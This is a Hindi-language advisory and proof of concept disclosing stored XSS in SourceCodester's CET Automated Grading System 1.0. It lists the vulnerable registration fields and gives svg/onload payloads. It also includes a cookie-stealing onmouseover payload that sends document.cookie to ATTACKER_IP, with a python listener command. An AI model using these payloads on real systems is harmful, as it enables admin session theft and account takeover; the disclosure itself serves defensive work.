
सोर्सकोडेस्टर CET स्वचालित ग्रेडिंग सिस्टम 1.0 में संग्रहीत XSS के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो छात्र पंजीकरण के माध्यम से बिना प्रमाणीकरण के पेलोड इंजेक्शन प्रदर्शित करता है, जिससे एडमिन सत्र अपहरण होता है।
| फ़ील्ड | मान |
|---|
| विक्रेता | SourceCodester |
| विक्रेता URL | https://www.sourcecodester.com |
| उत्पाद | PHP और MySQL में AI प्रेडिक्टिव एनालिटिक्स के साथ CET ऑटोमेटेड ग्रेडिंग सिस्टम |
| उत्पाद URL | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| संस्करण | 1.0 |
| भेद्यता | स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग (XSS) |
| CWE | CWE-79 |
| CVSSv3 स्कोर | 8.8 (उच्च) |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण आवश्यक | कोई नहीं (छात्र स्व-पंजीकरण सार्वजनिक है) |
| पीड़ित | व्यवस्थापक |
| उपयोगकर्ता सहभागिता | आवश्यक (एडमिन डैशबोर्ड पर जाता है) |
| शोधकर्ता | इमाद अल्वी |
| दिनांक | 2026-04-13 |
फ़ाइल: PersonalAGS/index.php?action=register (छात्र पंजीकरण)
पैरामीटर: student_id, full_name, section, username (POST)
ट्रिगर होता है: PersonalAGS/index.php?action=dashboard (एडमिन डैशबोर्ड)
CET ऑटोमेटेड ग्रेडिंग सिस्टम 1.0 में छात्र स्व-पंजीकरण पोर्टल डेटाबेस में संग्रहीत करने से पहले उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सैनिटाइज़ या एनकोड करने में विफल रहता है। एक बिना प्रमाणीकृत हमलावर किसी भी पंजीकरण फ़ील्ड में इंजेक्ट किए गए JavaScript पेलोड के साथ एक छात्र खाता पंजीकृत कर सकता है। दुर्भावनापूर्ण पेलोड डेटाबेस में संग्रहीत होता है और किसी भी व्यवस्थापक के ब्राउज़र में निष्पादित होता है जो उस डैशबोर्ड पर जाता है जहाँ नामांकित छात्र सूचीबद्ध होते हैं।
यह एक गंभीर हमला श्रृंखला है — पेलोड इंजेक्ट करने के लिए कोई प्रमाणीकरण आवश्यक नहीं है, लेकिन यह एक विशेषाधिकार प्राप्त एडमिन संदर्भ में निष्पादित होता है, जिससे सत्र कुकी चोरी और पूर्ण एडमिन खाता अधिग्रहण संभव हो जाता है।
सार्वजनिक छात्र स्व-पंजीकरण पृष्ठ पर जाएँ:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
सभी फ़ील्ड को XSS पेलोड से भरें और खाता पंजीकृत करें पर क्लिक करें:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
पंजीकरण सफल होता है — पेलोड डेटाबेस में संग्रहीत हो जाते हैं।
जब व्यवस्थापक लॉग इन करता है और डैशबोर्ड पर जाता है, तो इंजेक्ट किया गया पेलोड तुरंत निष्पादित होता है। अलर्ट पॉपअप सक्रिय होता है और इंजेक्ट किए गए HTML द्वारा पृष्ठ लेआउट स्पष्ट रूप से टूट जाता है — यह पुष्टि करता है कि पेलोड एडमिन पैनल में बिना सैनिटाइज़ किए प्रस्तुत किया गया है।
डैशबोर्ड सेक्शन हेडर भी इंजेक्ट किए गए मानों को प्रतिबिंबित करते हैं:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
एक हमलावर पंजीकरण फ़ील्ड में निम्नलिखित पेलोड का उपयोग करके इसे पूर्ण एडमिन सत्र अपहरण तक बढ़ा सकता है:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
हमलावर मशीन पर एक लिसनर सेट करें:
python3 -m http.server 8888
जब एडमिन डैशबोर्ड पर जाता है, तो उनका सत्र कुकी हमलावर के सर्वर पर भेज दिया जाता है, जिससे पूर्ण खाता अधिग्रहण संभव हो जाता है।
एक बिना प्रमाणीकृत हमलावर यह कर सकता है:
पेलोड इंजेक्ट करने के लिए कोई प्रमाणीकरण आवश्यक नहीं है। जब कोई व्यवस्थापक डैशबोर्ड पर जाता है तो हमला स्वचालित रूप से निष्पादित होता है।